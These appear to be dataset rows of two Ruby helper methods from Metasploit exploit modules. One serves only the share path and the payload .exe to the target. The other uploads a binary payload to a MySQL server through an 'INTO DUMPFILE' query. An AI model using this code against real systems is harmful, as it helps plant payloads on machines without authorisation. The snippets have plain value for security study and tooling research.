|
MIT
|
def blacklisted_path?(uri)
share_path = "/#{@share_name}"
payload_path = "#{share_path}/#{@basename}.exe"
case uri
when payload_path
return false
when share_path
return false
else
return true
end
end
|
This method rejects requests that are known to break exploitation
|
blacklisted_path?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20321.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20321.rb
|
MIT
|
def mysql_upload_binary(bindata, path)
# Modify the rport so we can use MySQL
datastore['RPORT'] = datastore['MYSQLPORT']
# Login
h = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
# The lib throws its own error message anyway:
# "Exploit failed [no-access]: RbMysql::AccessDeniedError"
return false if not h
tmp = mysql_get_temp_dir
p = bindata.unpack("H*")[0]
dest = tmp + path
mysql_query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
return true
end
|
I wanna be able to choose my own destination... path!
|
mysql_upload_binary
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/20355.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/20355.rb
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.